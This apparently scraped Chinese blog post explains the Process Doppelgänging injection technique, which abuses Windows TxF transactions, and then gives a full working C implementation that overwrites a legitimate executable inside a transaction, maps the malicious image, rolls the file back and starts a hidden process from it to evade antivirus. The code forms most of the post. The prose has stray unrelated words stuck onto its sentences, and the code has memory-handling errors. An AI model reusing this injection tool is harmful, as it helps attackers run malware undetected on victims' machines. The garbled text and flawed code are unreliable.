Process Doppelgänging

進程注入:Process Doppelgänging

  攻擊者能夠經過Process Doppelgänging將惡意代碼注入到進程中,從而逃避基於進程的防禦,而且進行可能的特權提高。Process Doppelgänging是一種在單獨的活動進程的地址空間中執行任意代碼的方法。編程

  Vista中引入了Windows事務NTFS(TxF)做爲執行安全文件操做的方法。爲確保數據完整性,TxF僅容許一個事務處理句柄在給定時間寫入同一個文件。在寫句柄事務終止以前,全部其餘句柄均被隔離,只能讀取打開該句柄時已存在的文件的提交版本。爲避免損壞,若是系統或應用程序在寫事務期間發生失敗,TxF將執行自動回滾。安全

  儘管已被棄用,但直至Windows 10,仍可以使用TxF應用程序編程接口(API)。app

  攻擊者可能濫用TxF來執行Process Injection的無文件變體。與「Process Hollowing」相似,Process Doppelgänging經過替換合法進程的內存,使惡意代碼得以隱蔽執行,從而逃避檢測。Process Doppelgänging對TxF的利用也避免了使用被殺軟重度監控的API功能,例如NtUnmapViewOfSectionVirtualProtectEx,和SetThreadContext測試

  Process Doppelgänging分爲4個步驟:code

  • Transact – 使用合法的可執行文件建立TxF事務,而後使用惡意代碼覆蓋該文件。這些更改與外部隔離,而且僅在當前事務上下文中可見;
  • Load – 從內存中建立一個共享Section用於加載覆蓋後的惡意可執行文件;
  • Rollback – 撤消對原始合法可執行文件的更改,從而有效地從文件系統中清除惡意代碼;
  • Animate – 從內存中惡意代碼所在的Section處建立一個進程並啓動執行。

  因爲被注入進程是從實現注入的進程中建立的(繼承了安全上下文),所以該行爲應該是不會致使特權提高的。可是,因爲執行過程隱藏於合法進程下,所以經過process doppelgänging執行能夠避開安全產品的檢測。orm

  在測試的時候,發如今64位系統下,32位的process doppelgänging將會失敗,只能使用64位的注入;32位系統下的process doppelgänging則正常。blog

#include "winntos.h"
#include "stdio.h"
#include "ktmw32.h"

#define MAX(a, b) (a > b? a:b)
#define MIN(a, b) (a > b? b:a)

#pragma comment(lib, "ktmw32.lib")
INT wmain(INT argc, WCHAR* argv[]) {

	if (argc < 3) {
		printf("usage: proc_Dopp.exe <whiteModuleFile> <injectModuleFile>\n\n");
		return 1;
	}

	NtCreateSection ntCreateSection = NULL;
	NtCreateProcessEx ntCreateProcessEx = NULL;
	RtlCreateProcessParametersEx rtlCreateProcessParametersEx = NULL;
	NtQueryInformationProcess ntQueryInformationProcess = NULL;
	RtlInitUnicodeString rtlInitUnicodeString = NULL;
	NtCreateThreadEx ntCreateThreadEx = NULL;

	HMODULE ntdll = LoadLibrary(L"ntdll.dll");
	if (ntdll) {
		ntCreateSection = (NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
		if (ntCreateSection)
			printf(" Succeed get funtion NtCreateSection Address : %#llx :)\n", (DWORD)ntCreateSection);
		else {
			printf(" Fail get funtion NtCreateSection Address :(\n");
			return 1;
		}
		ntCreateProcessEx = (NtCreateProcessEx)GetProcAddress(ntdll, "NtCreateProcessEx");
		if (ntCreateProcessEx)
			printf(" Succeed get funtion NtCreateProcessEx Address : %#llx :)\n", (DWORD)ntCreateProcessEx);
		else {
			printf(" Fail get funtion NtCreateProcessEx Address :(\n");
			return 1;
		}
		rtlCreateProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
		if (rtlCreateProcessParametersEx)
			printf(" Succeed get funtion RtlCreateProcessParametersEx Address : %#llx :)\n", 
					(DWORD)rtlCreateProcessParametersEx);
		else {
			printf(" Fail get funtion RtlCreateProcessParametersEx Address :(\n");
			return 1;
		}
		ntQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
		if (ntQueryInformationProcess)
			printf(" Succeed get funtion NtQueryInformationProcess Address : %#llx :)\n",
			(DWORD)ntQueryInformationProcess);
		else {
			printf(" Fail get funtion NtQueryInformationProcess Address :(\n");
			return 1;
		}
		rtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
		if (rtlInitUnicodeString)
			printf(" Succeed get funtion RtlInitUnicodeString Address : %#llx :)\n",
			(DWORD)rtlInitUnicodeString);
		else {
			printf(" Fail get funtion RtlInitUnicodeString Address :(\n");
			return 1;
		}
		ntCreateThreadEx = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
		if (ntCreateThreadEx)
			printf(" Succeed get funtion NtCreateThreadEx Address : %#llx :)\n",
			(DWORD)ntCreateThreadEx);
		else {
			printf(" Fail get funtion NtCreateThreadEx Address :(\n");
			return 1;
		}
	}
	else {
		printf(" Load ntdll.dll Failed :(\n");
		return 1;
	}

	WCHAR *szSrcFile = (WCHAR*)malloc(wcslen(argv[1]) + 4);
	WCHAR *szInjectFile = (WCHAR*)malloc(wcslen(argv[2]) + 4);
	HANDLE hInjFile = NULL, hTx = NULL, hTransFile = NULL, hSection = NULL, hProcess = NULL, hCurProcess = NULL;
	CHAR *szInjBuff = NULL;

	wcscpy(szSrcFile, argv[1]);
	wcscpy(szInjectFile, argv[2]);

	do {
		hInjFile = CreateFile(szInjectFile, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
		if (INVALID_HANDLE_VALUE == hInjFile) {
			if (GetLastError() == ERROR_FILE_NOT_FOUND)
				printf(" The File To Be INJECTED NOT FOUND :(\n");
			else
				printf(" OPEN injected file ERROR :(\n");
			break;
		}

		DWORD dwInjFileSize = GetFileSize(hInjFile, 0), dwReadBytes = 0;
		szInjBuff = (CHAR*)malloc(dwInjFileSize);
		if (!ReadFile(hInjFile, szInjBuff, dwInjFileSize, &dwReadBytes, 0)) {
			printf(" read injected file error :(\n");
			break;
		}
		hTx = CreateTransaction(0, 0, 0, 0, 0, 0, 0);
		if (INVALID_HANDLE_VALUE == hTx) {
			printf(" create transaction failed :(\n");
			break;
		}

		hTransFile = CreateFileTransacted(szSrcFile, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0, hTx, 0, 0);
		if (INVALID_HANDLE_VALUE == hTransFile) {
			printf(" append black file transacted failed :(\n");
			break;
		}
		DWORD dwWrittenBytes = 0;
		if (!WriteFile(hTransFile, szInjBuff, dwReadBytes, &dwWrittenBytes, 0) || !dwWrittenBytes) {
			printf(" write target file failed :(\n");
			break;
		}
		printf(" Write To Target File success :)\n");

		hSection = NULL;

		if (ntCreateSection(&hSection, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_IMAGE, hTransFile)) {
			printf(" CreateSeciotn Failed :(  %#x\n", GetLastError());
			break;
		}
		// succeed map file as image
		printf(" CreateSeciotn Success :)\n");

		if (!RollbackTransaction(hTx)) {
			printf(" RollBackFile Failed :(  %#x\n", GetLastError());
			break;
		}
		printf(" RollBackFile Success :)\n");
		hProcess = NULL;
		hCurProcess = GetCurrentProcess();

		if (ntCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, 0, hCurProcess, 4, hSection, 0, 0, 0)) {
			printf(" create process failed :( %#x\n", GetLastError());  // 失敗
			break;
		}
		printf(" create process SUCCESS :)\n");

		PROCESS_BASIC_INFORMATION pbi;
		DWORD ReturnLength = 0;
		
		/* 獲取注入進程的PEB數據塊信息 */
		if (ntQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength)) {
			printf(" query process pbi failed :( %#x\n", GetLastError());
			break;
		}

		SIZE_T size = 0, imgBase = NULL;
		CHAR tmp[0x100] = { 0 };
		ReadProcessMemory(hProcess, pbi.PebBaseAddress, &tmp, 0x100, &size);

		imgBase = (ULONG64)((PPEB)tmp)->ImageBaseAddress;	// PEB獲取注入進程基址
		printf(" image base: %#llx\n", imgBase);

		PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
		UNICODE_STRING dstUniStr;

		rtlInitUnicodeString(&dstUniStr, szSrcFile);
		if(rtlCreateProcessParametersEx(&processParams, &dstUniStr, NULL, NULL, &dstUniStr, NULL,
			NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)){
			printf(" Create ProcessParameters failed :( %#x\n", GetLastError());
			break;
		}
		printf(" Create ProcessParameters SUCCESS :)\n");

		HANDLE ThreadID = NULL;
		LPVOID paramBaseAddr = NULL;
		ULONG_PTR start = (ULONG_PTR)MIN(processParams, processParams->Environment);
		ULONG_PTR end = (ULONG_PTR)MAX(processParams, processParams->Environment);
		size = end - start;

		if (!VirtualAllocEx(hProcess, (LPVOID)start, size, 
							MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
			printf(" VirtualAllocEx processParams failed :( %#x\n", GetLastError());
			break;
		}
		if (!WriteProcessMemory(hProcess, (LPVOID)start, processParams, size, &size)) {
			printf(" Write USER PROCESS PARAMETERS failed :( %#x\n", GetLastError());
			break;
		}
		
		if (!WriteProcessMemory(hProcess, &(pbi.PebBaseAddress->ProcessParameters), &processParams, sizeof(PVOID), &size)) {
			printf(" Write USER PROCESS PARAMETERS Address failed :( %#x\n", GetLastError());
			break;
		}
		
		PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(szInjBuff + ((PIMAGE_DOS_HEADER)szInjBuff)->e_lfanew);
		LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)(imgBase + (pNtHeader->OptionalHeader.AddressOfEntryPoint));
		printf(" entry point: %#llx\n", entry);

		if (ntCreateThreadEx(&ThreadID, THREAD_ALL_ACCESS, NULL, hProcess,
			(LPTHREAD_START_ROUTINE)entry,
			NULL, FALSE, 0, 0, 0, NULL)) {
				printf(" Create Thread failed :( %#x\n", GetLastError());
				break;
		}
		printf(" Create Thread Success :)\n");
		/*if (!CreateRemoteThread(hProcess, NULL, NULL,
			(LPTHREAD_START_ROUTINE)(pNtHeader->OptionalHeader.AddressOfEntryPoint + imgBase),
			NULL, NULL, &ThreadID)) {
			printf(" Create Thread failed :( %#x\n", GetLastError());
			break;
		}
		printf(" remote thread id: %#x\n", ThreadID);*/

	} while (0);
	
	VirtualFree(szInjectFile, 0, MEM_RELEASE);
	VirtualFree(szSrcFile, 0, MEM_RELEASE);
	VirtualFree(szInjBuff, 0, MEM_RELEASE);

	if (hTransFile)
		CloseHandle(hTransFile);
	if (hTx)
		CloseHandle(hTx);
	if (hInjFile)
		CloseHandle(hInjFile);
	if (hCurProcess)
		CloseHandle(hCurProcess);
	if (hSection)
		CloseHandle(hSection);
	if (hProcess)
		CloseHandle(hProcess);
	return 0;
}

參考:

https://attack.mitre.org/techniques/T1055/013/繼承

https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf接口

相關文章
相關標籤/搜索